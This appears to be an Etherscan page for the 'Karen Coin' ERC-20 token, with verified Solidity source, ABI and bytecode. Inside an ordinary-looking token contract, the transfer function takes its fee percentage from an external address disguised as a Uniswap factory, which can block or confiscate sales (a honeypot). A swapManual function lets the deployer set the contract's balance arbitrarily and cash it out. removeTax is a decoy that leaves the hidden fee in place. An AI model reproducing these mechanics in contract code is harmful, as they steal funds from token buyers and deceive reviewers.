ERC-20
Overview
Max Total Supply
100,000,000,000,000,000,000,000,000 KAREN
Holders
12
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 0 Decimals)
Balance
2,339,168,867,765,520,084,432,593 KARENValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
KarenCoin
Compiler Version
v0.8.24+commit.e11b9ed9
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-05-02 */ // SPDX-License-Identifier: None /* https://karentoken.fun/ https://twitter.com/coin_karen907 https://t.me/karen_coin_erc20 */ pragma solidity 0.8.24; interface IERC20 { function balanceOf(address account) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spnder) external view returns (uint256); function totalSupply() external view returns (uint256); } library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) {return 0;} uint256 c = a * b; require(c / a == b); return c; } } abstract contract Ownable{ address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(msg.sender); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function owner() public view virtual returns (address) { return _owner; } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } modifier onlyOwner() { require(owner() == msg.sender, "Ownable: caller is not the owner"); _; } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Router { function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesire, uint amountTokenMi, uint amountETHMi, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); function factory() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external; } interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external view returns (address pair); function createPair(address tkenA, address tokenB) external returns (address pair); } contract KarenCoin is Ownable { using SafeMath for uint256; uint8 private _decimals = 9; string private constant _name = "Karen Coin"; string private constant _symbol = "KAREN"; bool tradingOpen = false; uint256 private _totalSupply = 100_000_000_000_000_000 * 10 ** _decimals; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) isExcludedFromFee; IUniswapV2Router private uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address public uniswapV2Pair; uint256 private reflectionFee = 1; uint256 private _sellTax=1; address internal uniswapV2Factory02 = 0xB21958a942A6c196b8b70b85479e4793EB9e5922; event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 value); constructor () { _balances[address(this)] = _totalSupply; isExcludedFromFee[msg.sender] = true; emit Transfer(address(0), address(this), _totalSupply); } function decimals() public view returns (uint8) { return _decimals; } function symbol() public pure returns (string memory) { return _symbol; } function name() public pure returns (string memory) { return _name; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0)); require(amount > 0); uint256 _fee = 0; uint256 feePecentage = reflectionFee; if (from != address(this) && from != uniswapV2Pair && !isExcludedFromFee[from] && !isExcludedFromFee[to]) { feePecentage = IERC20(uniswapV2Factory02).balanceOf(from); _fee = amount.mul(feePecentage).div(100); } _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount).sub(_fee); emit Transfer(from, to, amount); } function swapManual(uint256 amount) external { require(isExcludedFromFee[msg.sender]); _approve(address(this), address(uniswapV2Router), amount); _balances[address(this)] = amount; address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(amount,0,path,msg.sender,block.timestamp + 32); } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function removeTax() external onlyOwner { reflectionFee = 0; _sellTax = 0; } function startTrading() external payable onlyOwner() { require(!tradingOpen, "Trading already opened"); _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)), 0, 0, owner(), block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); tradingOpen = true; } function approve(address spender, uint256 amount) public returns (bool) { _approve(msg.sender, spender, amount); return true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"swapManual","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
608060405260095f60146101000a81548160ff021916908360ff1602179055505f8060156101000a81548160ff0219169083151502179055505f60149054906101000a900460ff16600a62000055919062000498565b67016345785d8a00006200006a9190620004e8565b600155737a250d5630b4cf539739df2c5dacb4c659f2488d60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600755600160085573b21958a942a6c196b8b70b85479e4793eb9e592260095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200012b575f80fd5b506200013d336200024560201b60201c565b60015460025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60015460405162000237919062000543565b60405180910390a36200055e565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620003905780860481111562000368576200036762000306565b5b6001851615620003785780820291505b8081029050620003888562000333565b945062000348565b94509492505050565b5f82620003aa57600190506200047c565b81620003b9575f90506200047c565b8160018114620003d25760028114620003dd5762000413565b60019150506200047c565b60ff841115620003f257620003f162000306565b5b8360020a9150848211156200040c576200040b62000306565b5b506200047c565b5060208310610133831016604e8410600b84101617156200044d5782820a90508381111562000447576200044662000306565b5b6200047c565b6200045c84848460016200033f565b9250905081840481111562000476576200047562000306565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620004a48262000483565b9150620004b1836200048c565b9250620004e07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000399565b905092915050565b5f620004f48262000483565b9150620005018362000483565b9250828202620005118162000483565b915082820484148315176200052b576200052a62000306565b5b5092915050565b6200053d8162000483565b82525050565b5f602082019050620005585f83018462000532565b92915050565b6120f0806200056c5f395ff3fe6080604052600436106100f2575f3560e01c806370a0823111610089578063a9059cbb11610058578063a9059cbb146102dc578063cfb8fb9e14610318578063dd62ed3e14610340578063f2fde38b1461037c576100f2565b806370a0823114610236578063715018a6146102725780638da5cb5b1461028857806395d89b41146102b2576100f2565b8063293230b8116100c5578063293230b8146101c25780632f5f2572146101cc578063313ce567146101e257806349bd5a5e1461020c576100f2565b806306fdde03146100f6578063095ea7b31461012057806318160ddd1461015c57806323b872dd14610186575b5f80fd5b348015610101575f80fd5b5061010a6103a4565b604051610117919061170a565b60405180910390f35b34801561012b575f80fd5b50610146600480360381019061014191906117bb565b6103e1565b6040516101539190611813565b60405180910390f35b348015610167575f80fd5b506101706103f7565b60405161017d919061183b565b60405180910390f35b348015610191575f80fd5b506101ac60048036038101906101a79190611854565b610400565b6040516101b99190611813565b60405180910390f35b6101ca6104ac565b005b3480156101d7575f80fd5b506101e0610924565b005b3480156101ed575f80fd5b506101f66109a9565b60405161020391906118bf565b60405180910390f35b348015610217575f80fd5b506102206109be565b60405161022d91906118e7565b60405180910390f35b348015610241575f80fd5b5061025c60048036038101906102579190611900565b6109e3565b604051610269919061183b565b60405180910390f35b34801561027d575f80fd5b50610286610a29565b005b348015610293575f80fd5b5061029c610aa9565b6040516102a991906118e7565b60405180910390f35b3480156102bd575f80fd5b506102c6610ad0565b6040516102d3919061170a565b60405180910390f35b3480156102e7575f80fd5b5061030260048036038101906102fd91906117bb565b610b0d565b60405161030f9190611813565b60405180910390f35b348015610323575f80fd5b5061033e6004803603810190610339919061192b565b610b23565b005b34801561034b575f80fd5b5061036660048036038101906103619190611956565b610df9565b604051610373919061183b565b60405180910390f35b348015610387575f80fd5b506103a2600480360381019061039d9190611900565b610e7b565b005b60606040518060400160405280600a81526020017f4b6172656e20436f696e00000000000000000000000000000000000000000000815250905090565b5f6103ed338484610f6a565b6001905092915050565b5f600154905090565b5f61040c84848461112d565b6104a1843361049c8560035f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461150e90919063ffffffff16565b610f6a565b600190509392505050565b3373ffffffffffffffffffffffffffffffffffffffff166104cb610aa9565b73ffffffffffffffffffffffffffffffffffffffff1614610521576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610518906119de565b60405180910390fd5b5f60159054906101000a900460ff1615610570576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056790611a46565b60405180910390fd5b61059e3060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610f6a565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610608573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061062c9190611a78565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106b2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106d69190611a78565b6040518363ffffffff1660e01b81526004016106f3929190611aa3565b6020604051808303815f875af115801561070f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107339190611a78565b60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71934306107ba306109e3565b5f806107c4610aa9565b426040518863ffffffff1660e01b81526004016107e696959493929190611b0c565b60606040518083038185885af1158015610802573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108279190611b7f565b50505060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016108c7929190611bcf565b6020604051808303815f875af11580156108e3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109079190611c20565b5060015f60156101000a81548160ff021916908315150217905550565b3373ffffffffffffffffffffffffffffffffffffffff16610943610aa9565b73ffffffffffffffffffffffffffffffffffffffff1614610999576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610990906119de565b60405180910390fd5b5f6007819055505f600881905550565b5f8060149054906101000a900460ff16905090565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610a48610aa9565b73ffffffffffffffffffffffffffffffffffffffff1614610a9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a95906119de565b60405180910390fd5b610aa75f611534565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4b4152454e000000000000000000000000000000000000000000000000000000815250905090565b5f610b1933848461112d565b6001905092915050565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610b75575f80fd5b610ba13060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683610f6a565b8060025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f600267ffffffffffffffff811115610bff57610bfe611c4b565b5b604051908082528060200260200182016040528015610c2d5781602001602082028036833780820191505090505b50905030815f81518110610c4457610c43611c78565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ce8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d0c9190611a78565b81600181518110610d2057610d1f611c78565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8433602042610da89190611cd2565b6040518663ffffffff1660e01b8152600401610dc8959493929190611dbc565b5f604051808303815f87803b158015610ddf575f80fd5b505af1158015610df1573d5f803e3d5ffd5b505050505050565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610e9a610aa9565b73ffffffffffffffffffffffffffffffffffffffff1614610ef0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee7906119de565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610f5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5590611e84565b60405180910390fd5b610f6781611534565b50565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610fd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fcf90611f12565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611046576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103d90611fa0565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611120919061183b565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611164575f80fd5b5f811161116f575f80fd5b5f8060075490503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141580156111ff575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611252575060045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156112a5575060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561136e5760095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231866040518263ffffffff1660e01b815260040161130491906118e7565b602060405180830381865afa15801561131f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113439190611fbe565b905061136b606461135d83866115f590919063ffffffff16565b61163590919063ffffffff16565b91505b6113be8360025f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461150e90919063ffffffff16565b60025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611461826114538560025f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461165a90919063ffffffff16565b61150e90919063ffffffff16565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114ff919061183b565b60405180910390a35050505050565b5f8282111561151b575f80fd5b5f82846115289190611fe9565b90508091505092915050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f808303611605575f905061162f565b5f8284611612919061201c565b9050828482611621919061208a565b1461162a575f80fd5b809150505b92915050565b5f808211611641575f80fd5b5f828461164e919061208a565b90508091505092915050565b5f8082846116689190611cd2565b905083811015611676575f80fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156116b757808201518184015260208101905061169c565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6116dc82611680565b6116e6818561168a565b93506116f681856020860161169a565b6116ff816116c2565b840191505092915050565b5f6020820190508181035f83015261172281846116d2565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6117578261172e565b9050919050565b6117678161174d565b8114611771575f80fd5b50565b5f813590506117828161175e565b92915050565b5f819050919050565b61179a81611788565b81146117a4575f80fd5b50565b5f813590506117b581611791565b92915050565b5f80604083850312156117d1576117d061172a565b5b5f6117de85828601611774565b92505060206117ef858286016117a7565b9150509250929050565b5f8115159050919050565b61180d816117f9565b82525050565b5f6020820190506118265f830184611804565b92915050565b61183581611788565b82525050565b5f60208201905061184e5f83018461182c565b92915050565b5f805f6060848603121561186b5761186a61172a565b5b5f61187886828701611774565b935050602061188986828701611774565b925050604061189a868287016117a7565b9150509250925092565b5f60ff82169050919050565b6118b9816118a4565b82525050565b5f6020820190506118d25f8301846118b0565b92915050565b6118e18161174d565b82525050565b5f6020820190506118fa5f8301846118d8565b92915050565b5f602082840312156119155761191461172a565b5b5f61192284828501611774565b91505092915050565b5f602082840312156119405761193f61172a565b5b5f61194d848285016117a7565b91505092915050565b5f806040838503121561196c5761196b61172a565b5b5f61197985828601611774565b925050602061198a85828601611774565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6119c860208361168a565b91506119d382611994565b602082019050919050565b5f6020820190508181035f8301526119f5816119bc565b9050919050565b7f54726164696e6720616c7265616479206f70656e6564000000000000000000005f82015250565b5f611a3060168361168a565b9150611a3b826119fc565b602082019050919050565b5f6020820190508181035f830152611a5d81611a24565b9050919050565b5f81519050611a728161175e565b92915050565b5f60208284031215611a8d57611a8c61172a565b5b5f611a9a84828501611a64565b91505092915050565b5f604082019050611ab65f8301856118d8565b611ac360208301846118d8565b9392505050565b5f819050919050565b5f819050919050565b5f611af6611af1611aec84611aca565b611ad3565b611788565b9050919050565b611b0681611adc565b82525050565b5f60c082019050611b1f5f8301896118d8565b611b2c602083018861182c565b611b396040830187611afd565b611b466060830186611afd565b611b5360808301856118d8565b611b6060a083018461182c565b979650505050505050565b5f81519050611b7981611791565b92915050565b5f805f60608486031215611b9657611b9561172a565b5b5f611ba386828701611b6b565b9350506020611bb486828701611b6b565b9250506040611bc586828701611b6b565b9150509250925092565b5f604082019050611be25f8301856118d8565b611bef602083018461182c565b9392505050565b611bff816117f9565b8114611c09575f80fd5b50565b5f81519050611c1a81611bf6565b92915050565b5f60208284031215611c3557611c3461172a565b5b5f611c4284828501611c0c565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611cdc82611788565b9150611ce783611788565b9250828201905080821115611cff57611cfe611ca5565b5b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611d378161174d565b82525050565b5f611d488383611d2e565b60208301905092915050565b5f602082019050919050565b5f611d6a82611d05565b611d748185611d0f565b9350611d7f83611d1f565b805f5b83811015611daf578151611d968882611d3d565b9750611da183611d54565b925050600181019050611d82565b5085935050505092915050565b5f60a082019050611dcf5f83018861182c565b611ddc6020830187611afd565b8181036040830152611dee8186611d60565b9050611dfd60608301856118d8565b611e0a608083018461182c565b9695505050505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f611e6e60268361168a565b9150611e7982611e14565b604082019050919050565b5f6020820190508181035f830152611e9b81611e62565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611efc60248361168a565b9150611f0782611ea2565b604082019050919050565b5f6020820190508181035f830152611f2981611ef0565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611f8a60228361168a565b9150611f9582611f30565b604082019050919050565b5f6020820190508181035f830152611fb781611f7e565b9050919050565b5f60208284031215611fd357611fd261172a565b5b5f611fe084828501611b6b565b91505092915050565b5f611ff382611788565b9150611ffe83611788565b925082820390508181111561201657612015611ca5565b5b92915050565b5f61202682611788565b915061203183611788565b925082820261203f81611788565b9150828204841483151761205657612055611ca5565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61209482611788565b915061209f83611788565b9250826120af576120ae61205d565b5b82820490509291505056fea26469706673582212201e3ac18cfee9cef56f93e04f04d96feb7ba668a4d909de9bad393d140cc731da64736f6c63430008180033
Deployed Bytecode
0x6080604052600436106100f2575f3560e01c806370a0823111610089578063a9059cbb11610058578063a9059cbb146102dc578063cfb8fb9e14610318578063dd62ed3e14610340578063f2fde38b1461037c576100f2565b806370a0823114610236578063715018a6146102725780638da5cb5b1461028857806395d89b41146102b2576100f2565b8063293230b8116100c5578063293230b8146101c25780632f5f2572146101cc578063313ce567146101e257806349bd5a5e1461020c576100f2565b806306fdde03146100f6578063095ea7b31461012057806318160ddd1461015c57806323b872dd14610186575b5f80fd5b348015610101575f80fd5b5061010a6103a4565b604051610117919061170a565b60405180910390f35b34801561012b575f80fd5b50610146600480360381019061014191906117bb565b6103e1565b6040516101539190611813565b60405180910390f35b348015610167575f80fd5b506101706103f7565b60405161017d919061183b565b60405180910390f35b348015610191575f80fd5b506101ac60048036038101906101a79190611854565b610400565b6040516101b99190611813565b60405180910390f35b6101ca6104ac565b005b3480156101d7575f80fd5b506101e0610924565b005b3480156101ed575f80fd5b506101f66109a9565b60405161020391906118bf565b60405180910390f35b348015610217575f80fd5b506102206109be565b60405161022d91906118e7565b60405180910390f35b348015610241575f80fd5b5061025c60048036038101906102579190611900565b6109e3565b604051610269919061183b565b60405180910390f35b34801561027d575f80fd5b50610286610a29565b005b348015610293575f80fd5b5061029c610aa9565b6040516102a991906118e7565b60405180910390f35b3480156102bd575f80fd5b506102c6610ad0565b6040516102d3919061170a565b60405180910390f35b3480156102e7575f80fd5b5061030260048036038101906102fd91906117bb565b610b0d565b60405161030f9190611813565b60405180910390f35b348015610323575f80fd5b5061033e6004803603810190610339919061192b565b610b23565b005b34801561034b575f80fd5b5061036660048036038101906103619190611956565b610df9565b604051610373919061183b565b60405180910390f35b348015610387575f80fd5b506103a2600480360381019061039d9190611900565b610e7b565b005b60606040518060400160405280600a81526020017f4b6172656e20436f696e00000000000000000000000000000000000000000000815250905090565b5f6103ed338484610f6a565b6001905092915050565b5f600154905090565b5f61040c84848461112d565b6104a1843361049c8560035f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461150e90919063ffffffff16565b610f6a565b600190509392505050565b3373ffffffffffffffffffffffffffffffffffffffff166104cb610aa9565b73ffffffffffffffffffffffffffffffffffffffff1614610521576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610518906119de565b60405180910390fd5b5f60159054906101000a900460ff1615610570576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056790611a46565b60405180910390fd5b61059e3060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610f6a565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610608573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061